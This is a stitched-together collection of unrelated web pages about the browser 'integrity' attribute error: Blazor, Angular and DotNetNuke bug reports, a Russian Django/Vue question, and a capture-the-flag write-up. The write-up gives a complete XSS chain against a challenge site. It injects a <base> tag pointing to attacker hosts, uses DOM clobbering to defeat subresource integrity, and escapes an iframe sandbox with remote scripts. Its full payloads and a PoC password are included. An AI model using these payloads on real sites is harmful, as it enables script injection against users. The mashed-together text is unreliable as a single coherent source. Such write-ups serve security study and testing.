Describe the bug
After trying to open a published blazor app on IIS, I get the following error message:
Error parsing ‘integrity’ attribute (‘undefined’). The hash algorithm must be one of ‘sha256’, ‘sha384’, or ‘sha512’, followed by a ‘-‘ character.
(anonymous) @ blazor.webassembly.js:1
:90/_framework/undefined:1 Uncaught SyntaxError: Unexpected token ‘<‘
To Reproduce
Example project with publish profile: https://github.com/dantronik-markus/blazor-publish-bug
Exceptions (if any)
Error parsing ‘integrity’ attribute (‘undefined’). The hash algorithm must be one of ‘sha256’, ‘sha384’, or ‘sha512’, followed by a ‘-‘ character.
(anonymous) @ blazor.webassembly.js:1
:90/_framework/undefined:1 Uncaught SyntaxError: Unexpected token ‘<‘
Further technical details
- ASP.NET Core version 6.0.0 Preview 4
- Include the output of
dotnet --info
dotnet —info
>dotnet —info
.NET SDK (gemäß «global.json»):
Version: 6.0.100-preview.4.21255.9
Commit: 950e4949a7
Laufzeitumgebung:
OS Name: Windows
OS Version: 10.0.19042
OS Platform: Windows
RID: win10-x64
Base Path: C:Program Filesdotnetsdk6.0.100-preview.4.21255.9
Host (useful for support):
Version: 6.0.0-preview.4.21253.7
Commit: bfd6048a60
.NET SDKs installed:
2.1.202 [C:Program Filesdotnetsdk]
3.0.100-preview9-014004 [C:Program Filesdotnetsdk]
3.1.100-preview3-014645 [C:Program Filesdotnetsdk]
3.1.100 [C:Program Filesdotnetsdk]
3.1.115 [C:Program Filesdotnetsdk]
3.1.200-preview-014883 [C:Program Filesdotnetsdk]
3.1.200-preview-014977 [C:Program Filesdotnetsdk]
3.1.201 [C:Program Filesdotnetsdk]
5.0.100-preview.6.20318.15 [C:Program Filesdotnetsdk]
5.0.100-rc.1.20452.10 [C:Program Filesdotnetsdk]
5.0.104 [C:Program Filesdotnetsdk]
5.0.300-preview.21258.4 [C:Program Filesdotnetsdk]
6.0.100-preview.4.21255.9 [C:Program Filesdotnetsdk]
.NET runtimes installed:
Microsoft.AspNetCore.All 2.1.12 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.All]
Microsoft.AspNetCore.All 2.1.14 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.All]
Microsoft.AspNetCore.All 2.1.28 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.All]
Microsoft.AspNetCore.App 2.1.12 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 2.1.14 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 2.1.28 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.0.0-preview9.19424.4 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.0 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.2 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.3 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.4 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.15 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.0-preview.2.20167.3 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.0-rc.1.20451.17 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.4 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.5 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.6 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 6.0.0-preview.4.21253.5 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.NETCore.App 2.0.9 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 2.1.12 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 2.1.14 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 2.1.28 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.0.0-preview9-19423-09 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.0 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.2 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.3 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.4 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.15 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 5.0.0-rc.1.20451.14 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 5.0.4 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 5.0.5 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 5.0.6 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 6.0.0-preview.4.21253.7 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.WindowsDesktop.App 3.0.0-preview9-19423-09 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 3.1.0 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 3.1.2 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 3.1.3 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 3.1.15 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.0-rc.1.20452.2 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.4 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.5 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.6 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 6.0.0-preview.4.21254.5 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
To install additional .NET runtimes or SDKs:
https://aka.ms/dotnet-download
— The IDE (VS / VS Code/ VS4Mac) you’re running on, and its version
Visual Studio Version 16.11.0 Preview 1.0
pirateducky
Posted on Nov 10, 2020
• Updated on Nov 16, 2020
Objectives:
- You must
alert(origin)
showinghttps://wacky.buggywebsite.com
- You must bypass CSP
- It must be reproducible using the latest version of Chrome
- You must provide a working proof-of-concept on bugpoc.com
Summary:
Bypassed access restrictions to /frame.html
which allowed me to inject and render html
, bypassed csp
using the <base>
element to execute a remote javascript file, bypassed the integrity check and broke out of the iframe’s sandbox to execute alert(origin)
which was not possible due to the sandbox
attribute given to the iframe we end up in.
Thank you for the challenge — hope everyone likes this writeup, there is a visualization for the exploits you can check out after reading this.
Exploit
bucpoc exploit: jGQnU5oH (works on latest Chrome version)
bugpoc password: SociAlcRAne15
This is the bugpoc.com payload:
<!-- Front-End BugPoC -->
<html>
<!-- TODO implement -->
<h1>NOTHING TO SEE HERE</h1>
</html>
<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%27https://4d46opa6bb58.redir.bugpoc.ninja%27%3E%3Ca%20id=fileIntegrity%3E%3Ca%20id=fileIntegrity%20name=value%20href=nah%3E", "iframe")
</script>
Enter fullscreen mode
Exit fullscreen mode
Technical Details
The following sections will walk through the technical details on each part of the challenge. Enjoy
- initial foothold
- csp but make it vulnerable
-
integrity || GTFO
- bypass
- it’s clobberin time
- the great escape
- poc diy
Initial foothold
The challenge is at https://wacky.buggywebsite.com/
which loads an application that gets user input and turns it into «wacky text». This is implemented by loading an iframe from /frame.html
which is where the code for turning the normal text into wacky text is located. It is also important to mention that this iframe has a sort of access control which «protects» it from being loaded directly from the browser:
Back in /
we can see the html source and see the iframe being loaded correctly
...
<div class="round-div">
<span style="opacity:.5">Enter Boring Text:</span>
<br>
<textarea id="txt">Hello, World!</textarea>
<div style="text-align: center;">
<button id="btn">Make Whacky!</button>
</div>
<br>
<iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>
</div>
...
Enter fullscreen mode
Exit fullscreen mode
The access control is implemented in the script loaded inside /frame.html
. The code below shows the «verification» that determines if the iframe we are interested in can be loaded
// this checks the window name before dynamically generating the iframe we need
if (window.name == 'iframe') {
// securely load the frame analytics code
// this just need to eval to true (the actual value doesn't matter)
if (fileIntegrity.value) {
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);
}
Enter fullscreen mode
Exit fullscreen mode
The script checks the window.name
to see if it’s called iframe
and if it is — it continues execution, if the name does not match the iframe does not get created. This is interesting, since the window.name
can be set when opening a window from an arbitrary domain using window.open("https://evilwebsite.com", "nameforwindow")
, with this we should be able to open the frame.html
<html>
<!-- put this in a server you control -->
<body>
<!-- this will open the site given it the window.name='iframe' that we need -->
<script>window.open("https://wacky.buggywebsite.com/frame.html?param=hello", "iframe")</script>
</body>
</html>
Enter fullscreen mode
Exit fullscreen mode
Now that we have access to this file we can pass it what we want using the query string param=somethig
. This is good for us since our input is going directly into the page, if you check where the input is being reflected you’ll notice you can close the <title>
tag using: /frame.html?param=</title>
now everything after that will be valid html and we can continue to try to get our alert.
CSP
Even though html is injectable, all interesting elements get blocked because of the CSP
I use https://csp-evaluator.withgoogle.com to see if there is anything interesting anytime I see a CSP policy (it helped that the challenge mentioned a CSP bypass)
content-security-policy: script-src 'nonce-hafjcerljbyi' 'strict-dynamic'; frame-src 'self'; object-src 'none';
The one that stuck out was base-uri [missing]
when looking at MDN we can see the following:
- base-uri directive restricts the URLs which can be used in a document’s element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the element
Now let’s look at the MDN page for the element:
- Links pointing to a fragment in the document — e.g.
<a href="#some-id">
— are resolved with the<base>
, triggering an HTTP request to the base URL with the fragment attached. For example: - Given
<base href="https://example.com">
- …and this link:
<a href="#anchor">Anker</a>
- …the link points to
https://example.com/#anchor
Let’s go back to the /frame.html?parameter=</title>
and look for something interesting in the rendered html
This iframe caught my eye because it gets built dynamically by:
<script nonce="jllvokubhfmz">
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
// verify we are in an iframe
if (window.name == 'iframe') {
// securely load the frame analytics code
if (fileIntegrity.value) {
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);
// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);
}
} else {
document.body.innerHTML = `
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`
}
</script>
Enter fullscreen mode
Exit fullscreen mode
The code above shows how the iframe and script are built, the one that’s interesting is script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
which sets the src
attribute, this path is relative, and how do relative paths determine where to resolve? base-uri
which can be set by adding a <base href='https://evildomain.com>
element:
- payload:
https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://evildomain.com">
This will allow us to include a file from an arbitrary domain we control — since after we inject our <base>
element the file will actually be fetched from https://evildomain.com/files/analytics/js/frame-analytics.js
giving us a way to inject arbitrary javascript.
Integrity — nah
Now that we know we can trick the application to load a file from a source we control, we can load our file and be done right? Unfortunately if we try to do this — the request will fail, this is because of the integrity
attribute that’s added in this line script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
Before we go into how to get around that, let’s see what this integrity
thing is, from the RFC provided by the source script
- An author wants to include JavaScript provided by a third-party analytics service. To ensure that only the code that has been carefully reviewed is executed, the author generates integrity metadata for the script, and adds it to the script element
This is what’s happening here — the script that is being loaded doesn’t pass the integrity
check and fails to load, so this is where I was stuck for a while.
The bypass here is to get the hash value to give us a parsing error, which is done by sending anything that isn’t valid base64 as the integrity
value, we also have to make sure we return the ACAO header with *
to fulfill the requirements from the RFC
This allows us to get our script to load and execute.
Heard you like backwards compatibility?
This section explains the SRI bypass I found which allows me to use any script without having to provide a valid hash by producing a parser error.
I was a bit confused here for a bit, even after solving the challenge. Why is the script still loaded? Why was I still getting a console error? I wanted answers. So I did some digging.
The error we get after clobbering the fileIntegrity
(more on this later) object is a bit different, if you don’t clobber the fileIntegrity
object you get this error when trying to load the resource from your server:
"Failed to find a valid digest in the 'integrity' attribute for resource '" + resourceUrl + "' with computed SHA-256 integrity '" + digest + "'. The resource has been blocked."
Which blocks our source from being loaded.
But after you clobber the fileIntegrity
object, the error simply says:
Error parsing 'integrity' attribute ('" + attribute + "'). The digest must be a valid, base64-encoded value."
And our script still loads:
That distinction[the difference in error message] makes all the difference, looking at how the parser error is generated from the source: SubresourceIntegrity.cpp
The browser couldn’t parse the hash value because it’s not valid base64, by looking at which if
statement causes the error we can see that in our case we do get the error message but our script is allowed in and execution continues, and by looking at the comments it’s clear that the
reason why this happens is for backwards compatibility:
Here is a resource being blocked due to an integrity check:
Now how do we generate this parsing error?
Thanks https://twitter.com/acut3hack for the nudge for this next part.
DOM Clobbering
Let’s do a recap of what has brought us here.
- We can load an iframe that takes in user input un-sanitized
/frame.html?param=dirtydata
- achieved by using
window.open("domain", "windowname")
- achieved by using
- There is a
csp
in place-
csp
can be bypassed by injecting<base href=https://evildomain.com>
with our current injection - The
<base>
element sets the domain for assets that come from relative paths()
-
- The
script
that is being dynamically built is now being loaded fromhttps://evildomain.com/files/analytics/js/frame-analytics.js
- This means we can control what’s inside
frame-analytics.js
- This means we can control what’s inside
- The file is being prevented from executing because of the integrity check 😢
- The bypass involves changing the value of the hash to get a parsing error which will raise an error but allow the script to load
- Currently the hash is stored in a global object
fileIntegrity.value
- Currently the hash is stored in a global object
- The bypass involves changing the value of the hash to get a parsing error which will raise an error but allow the script to load
The first interesting thing to notice is how the integrity
attribute is being generated:
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
...
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
...
Enter fullscreen mode
Exit fullscreen mode
The value for the integrity
attribute is stored in the fileIntegrity.value
object which can be accessed globally. The browser works in mysterious ways…because we can use the html
injection we currently have to «clobber» the value and replace with something we can control. 🤯
Because of how the browser treats elements with id attributes, we can «clobber» the fileIntegrity
object and store arbitrary data in it, which means we can create our invalid sha256 hash which will produce the error we need
We can cause this almost mystical attack by using the following payload
/frame.html?param=</title><base href="https://evildomain.com"><a id=fileIntegrity><a id=fileIntegrity name=value href=quack>
That will allow us to completely reset the global object fileIntegrity
and set the arbitrary value we need fileIntegrity.value
so it can cause the parsing error, and the file we have hosted on https://evildomain.com/files/analytics/js/frame-analytics.js
will actually get loaded and it will execute in our context.
iframe
I went for it here — I hosted the file and used alert(1)
and when I went to execute….nothing.
Turns out the sandbox
attribute that was added to the parent iframe prevents us from using any prompts like alert prompt etc
by using this value "allow-scripts allow-same-origin"
it will only allow us to execute scripts 😭
On to MDN we go again to find the following:
This is interesting — it shows that the attribute values we currently have can be misused and possibly lead to unexpected behavior.
My first idea was to remove the attribute itself from the parent iframe by using the script
we currently control, that means that the contents of my frame-analytics.js
would have to:
- Find the iframe that we are interested in
- Remove sandbox attribute by using
Element.removeAttribute(attributeName)
- Pop my alert and be on my way right?
In short — no, it’s not that easy to trick the browser into letting us pop alerts, after you remove the attribute and it’s values the browser will still complain that we aren’t being safe and will fallback to that same sandbox
and after some google-fu I stumbled onto this beautiful blogpost https://danieldusek.com/escaping-improperly-sandboxed-iframes.html which goes into more detail into what’s going on. Since we can run js let’s completely remove the «safe» iframe and replace it with a much nicer, trusting one. We’ll also use the same trick to get a parsing error for the script we are going to use which will contain our final alert
// find the iframe with the sandbox
var og = parent.document.getElementsByTagName('iframe')[0];
// create a nicer iframe :yay
var hack = document.createElement('iframe');
// append out nicer iframe to the body
parent.document.body.append(hack);
// remove the mean iframe
og.parentNode.removeChild(og)
// create a script tag
script = document.createElement('script');
// I used bugpocs mock endpoint & flexible redirector to also load this
// it only contais alert(origin)
script.setAttribute('src', 'https://gfeku9odpbh4.redir.bugpoc.ninja');
// integrity parser error so our script loads
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
// cors settings
script.setAttribute('crossorigin', 'anonymous');
// add the script which will pop our alert
hack.contentDocument.body.appendChild(script);
Enter fullscreen mode
Exit fullscreen mode
This right here does the job, it accomplishes all the requirements above and allows us to execute our alert with no restrictions.
BugPoc
Initially this was made using aws, but when solving it, I got this:
And it made me want to do it, so here I’ll explain how I achieved this.
Using bugpoc’s mock endpoint I created an endpoint that would load the initial script needed:
https://mock.bugpoc.ninja/blahhh/m?sig=e186e17016d4331acbb13ee8f399ff0b8d53bdeb4ca6d84f039a499a6e8d240e
&statusCode=200&headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}
&body=
var og = parent.document.getElementsByTagName('iframe')[0];
var hack = document.createElement('iframe');
parent.document.body.append(hack);
og.parentNode.removeChild(og)
script = document.createElement('script');
script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
script.setAttribute('crossorigin', 'anonymous');
hack.contentDocument.body.appendChild(script);
Enter fullscreen mode
Exit fullscreen mode
Then I used the Flexible Redirector to create a redirect that would load this when it got hit from:
https://blahh.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js
The next step is generating the script that will load the alert(origin)
that will eventually pop without any restrictions, using the fact that generating a parser error will allow us to load any file regardless of it’s hash we can load a script with the alert we need.
Create another endpoint like this
https://mock.bugpoc.ninja/blahh/m?sig=2ab43ab3a0ed597f35060df005eaab7f38ecc167799ac3b853362fc8624953cc&statusCode=200&
headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}&
body=alert(origin)
Enter fullscreen mode
Exit fullscreen mode
And create a flexible redirect to this that will load the script:
script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');
Tying all that together you can then create a PoC and add the payload:
bucpoc exploit: jGQnU5oH (works on latest Chrome version)
bugpoc password: SociAlcRAne15
That creates a PoC entirely using bugpoc.com which is honestly pretty cool.
Thanks for the challenge!
Resources
https://google.com
https://www.acunetix.com/blog/articles/finding-source-dom-based-xss-vulnerability-acunetix-wvs/
https://danieldusek.com/escaping-improperly-sandboxed-iframes.html
https://report-uri.com/home/sri_hash
https://portswigger.net/research/dom-clobbering-strikes-back
https://developer.mozilla.org
https://csp-evaluator.withgoogle.com/
https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94!
#django #vue.js
Вопрос:
Я работал с Django 3.x уже почти два года и только начал использовать Vue js около недели, используя документацию, чтобы попытаться изучить предполагаемый способ. До сих пор мои точки доступа к api работают так, как задумано, всякий раз, когда я НЕ использую интерфейс Vue для создания объектов. Итак, перейдем к коду. Я попытался отправить отчет с помощью реквизита из Home.vue в Detail.vue, но по какой-то причине он, похоже, загружается не больше, чем noc_ticket. На всякий случай, main.js поскольку маршрутизатор был сделан в спешке, когда я учился, я сомневаюсь, что это проблема, но вы никогда не знаете.
Вот мой код обезьяны:
Домой.vue
<template>
<div class="home">
<div class="container">
<div class="container-fluid">
<h1 class="mt-4">Dashboard</h1>
<ol class="breadcrumb mb-4">
<li class="breadcrumb-item active">Dashboard</li>
</ol>
<div class="row">
<div class="col-xl-3 col-md-6">
<div class="card bg-primary text-white mb-4">
<div class="card-body">Report Archive</div>
<div
class="
card-footer
d-flex
align-items-center
justify-content-between
"
>
<a class="small text-white stretched-link" href=""
>View Details</a
>
<div class="small text-white">
<i class="fas fa-angle-right"></i>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-6">
<div class="card bg-danger text-white mb-4">
<div class="card-body">Initial Report</div>
<div
class="
card-footer
d-flex
align-items-center
justify-content-between
"
>
<a class="small text-white stretched-link" href=""
>View Details</a
>
<div class="small text-white">
<i class="fas fa-angle-right"></i>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-6">
<div class="card bg-warning text-white mb-4">
<div class="card-body">Report Update</div>
<div
class="
card-footer
d-flex
align-items-center
justify-content-between
"
>
<a class="small text-white stretched-link" href=""
>View Details</a
>
<div class="small text-white">
<i class="fas fa-angle-right"></i>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-6">
<div class="card bg-success text-white mb-4">
<div class="card-body" href="">Finalize Report</div>
<div
class="
card-footer
d-flex
align-items-center
justify-content-between
"
>
<a class="small text-white stretched-link" href=""
>View Details</a
>
<div class="small text-white">
<i class="fas fa-angle-right"></i>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<h1>Summary Table</h1>
<div class="container container-fluid">
<table class="table table-hover table-bordered">
<thead>
<tr>
<th scope="col">TSRM Ticket</th>
<th scope="col">Type Of Outage</th>
<th scope="col">Amount of Affected Clients</th>
<th scope="col">Impacted Municipalities</th>
</tr>
</thead>
<tbody>
<!-- start making the for loop here -->
<tr v-for="report in reports" :key="report.pk">
<td>
<router-link
:to="{
name: 'detail',
params: { noc_ticket: report.noc_ticket },
}"
>
{{ report.noc_ticket }}</router-link
>
</td>
<td v-for="outage in report.outage_type" :key="outage.id">
{{ outage.outage_type }}
</td>
<td
v-for="client_amount in report.clients"
:key="client_amount.id"
>
{{ client_amount.client_amount }}
</td>
<td
v-for="municipality in report.municipalities.split(' ')"
:key="municipality"
>
{{ municipality }},
</td>
</tr>
<!-- End it here. -->
</tbody>
</table>
</div>
</div>
<div class="row">
<h1>
<!-- {# Mini Charts go here.#} -->
</h1>
</div>
</div>
</div>
</div>
</template>
<script>
// @ is an alias to /src
import { apiService } from "../common/api.service.js";
export default {
name: "Home",
data() {
return {
reports: [],
};
},
methods: {
getReports() {
let endpoint = `api/report-list`;
apiService(endpoint).then((data) => {
this.reports.push(...data);
});
},
},
created() {
this.getReports();
console.log(this.reports);
},
};
</script>
Подробности.Vue
<template>
<div class="detail container">
<div class="jumbotron jumbotron-fluid">
<div class="container">
<h1 class="display-4">Report Details</h1>
<p class="lead">Highlighted Report Table</p>
</div>
</div>
<h1 >{{ noc_ticket }}</h1>
<p >{{ report.notes }}</p>
</div>
</template>
<script>
// @ is an alias to /src
import { apiService } from "../common/api.service.js";
export default {
name: "Report",
props: {
noc_ticket: {
type: String,
required: true,
},
},
data() {
return {
report: {},
};
},
methods: {
getReportData() {
let endpoint = `/api/report-detail/${this.noc_ticket}/`;
apiService(endpoint).then(data => {
Object.assign(this.report, data);
// this.report = data;
});
},
},
created() {
this.getReportData();
},
};
</script>
router/index.js
import Vue from "vue";
import VueRouter from "vue-router";
import Home from "../views/Home.vue";
import Detail from "../views/Detail.vue";
Vue.use(VueRouter);
const routes = [
{
path: "/",
name: "Home",
component: Home,
},
{
path: "/report-detail/:noc_ticket/",
name: "detail",
component: Detail,
props: true,
},
];
const router = new VueRouter({
mode: "history",
base: '/',
routes,
});
export default router;
Редактировать
Я забыл ввести свой консольный вывод, приношу свои извинения.
Вывод на консоль
[HMR] Waiting for update signal from WDS...
2L3K4J2LK34J2L3:1 Error parsing 'integrity' attribute ('undefined'). The hash algorithm must be one of 'sha256', 'sha384', or 'sha512', followed by a '-' character.
2L3K4J2LK34J2L3:1 Error parsing 'integrity' attribute ('undefined'). The hash algorithm must be one of 'sha256', 'sha384', or 'sha512', followed by a '-' character.
api.service.js?5ce5:21 SyntaxError: Unexpected token < in JSON at position 0
Комментарии:
1. в вашей консоли должна быть ошибка, откройте элемент «Проверка» на вкладке «Консоль». где-то должна быть ошибка. и вы можете сделать console.log(данные). чтобы узнать, получаете ли вы данные, которые вы намеревались
2.
Unexpected token <
похоже на HTML. Возможно, сервер возвращает HTML-страницу 404 вместо JSON.3. Эту часть я не особенно понимаю, я передаю службу api без проблем в список Home.vue.
🐞 Bug report
Command (mark with an x
)
- new
- build
- serve
- test
- e2e
- generate
- add
- update
- lint
- extract-i18n
- run
- config
- help
- version
- doc
Is this a regression?
Yes, the previous version in which this bug was not present was: latest 13
Description
We just ported our project to Angular 14, and suddenly started getting this error:
the script element has a malformed attribute in its integrity attribute: «undefined»
we tracked it down to a module being lazily loaded. Looking around, we found that its entry being missing from the sriHashes
object in runtime.js
.
Since:
- there is only one chunk missing in the object, and it’s the one with
id
0
, and - adding
"namedChunks": true,
to the build configuration seems to solve the problem.
it is for me very tempting to think that it is excluded from the dict because it’s falsy. But I’m far from being able to check this.
🔬 Minimal Reproduction
🔥 Exception or Error
runtime.aee066f47596daf1.js:1 Error parsing 'integrity' attribute ('undefined'). The hash algorithm must be one of 'sha256', 'sha384', or 'sha512', followed by a '-' character.
r.l @ runtime.aee066f47596daf1.js:1
r.f.j @ runtime.aee066f47596daf1.js:1
(anonymous) @ runtime.aee066f47596daf1.js:1
r.e @ runtime.aee066f47596daf1.js:1
loadChildren @ 481.e2b93596f818f247.js:1
loadModuleFactoryOrRoutes @ main.310f6dcb216b5b59.js:1
loadChildren @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
preload @ main.310f6dcb216b5b59.js:1
preloadConfig @ main.310f6dcb216b5b59.js:1
processRoutes @ main.310f6dcb216b5b59.js:1
processRoutes @ main.310f6dcb216b5b59.js:1
processRoutes @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
Z @ main.310f6dcb216b5b59.js:1
G @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
o @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
Z.subscribe.J @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
invoke @ polyfills.a47fa4e6e63a4ebe.js:1
onInvoke @ main.310f6dcb216b5b59.js:1
invoke @ polyfills.a47fa4e6e63a4ebe.js:1
run @ polyfills.a47fa4e6e63a4ebe.js:1
(anonymous) @ polyfills.a47fa4e6e63a4ebe.js:1
invokeTask @ polyfills.a47fa4e6e63a4ebe.js:1
onInvokeTask @ main.310f6dcb216b5b59.js:1
invokeTask @ polyfills.a47fa4e6e63a4ebe.js:1
runTask @ polyfills.a47fa4e6e63a4ebe.js:1
_ @ polyfills.a47fa4e6e63a4ebe.js:1
Promise.then (async)
q @ polyfills.a47fa4e6e63a4ebe.js:1
R @ polyfills.a47fa4e6e63a4ebe.js:1
scheduleTask @ polyfills.a47fa4e6e63a4ebe.js:1
onScheduleTask @ polyfills.a47fa4e6e63a4ebe.js:1
scheduleTask @ polyfills.a47fa4e6e63a4ebe.js:1
scheduleTask @ polyfills.a47fa4e6e63a4ebe.js:1
scheduleMicroTask @ polyfills.a47fa4e6e63a4ebe.js:1
te @ polyfills.a47fa4e6e63a4ebe.js:1
X @ polyfills.a47fa4e6e63a4ebe.js:1
(anonymous) @ polyfills.a47fa4e6e63a4ebe.js:1
H @ runtime.aee066f47596daf1.js:1
(anonymous) @ 924.955924dd1d522bd9.js:1
Show 12 more frames
🌍 Your Environment
❯ ng version
_ _ ____ _ ___
/ _ __ __ _ _ _| | __ _ _ __ / ___| | |_ _|
/ △ | '_ / _` | | | | |/ _` | '__| | | | | | |
/ ___ | | | | (_| | |_| | | (_| | | | |___| |___ | |
/_/ __| |_|__, |__,_|_|__,_|_| ____|_____|___|
|___/
Angular CLI: 14.0.1
Node: 16.15.0
Package Manager: yarn 1.22.18
OS: linux x64
Angular: 14.0.1
... animations, cdk, cli, common, compiler, compiler-cli, core
... forms, language-service, material, platform-browser
... platform-browser-dynamic, pwa, router, service-worker
Package Version
---------------------------------------------------------
@angular-devkit/architect 0.1400.1
@angular-devkit/build-angular 14.0.1
@angular-devkit/core 14.0.1
@angular-devkit/schematics 14.0.1
@schematics/angular 14.0.1
rxjs 7.5.5
typescript 4.7.3
Not sure if it’s relevant, but
webpack-subresource-integrity «5.1.0»
You are not authorized to post a reply.
Posts:8
I am using DontnetNuke 7.4, Visual Studio 2013 and .net framework 4.0
I am referencing typekit.js in dnnjsinclude.
<dnn:dnnjsinclude filepath=»https://use.typekit.net/xie1khe.js» id=»someID» runat=»server»>
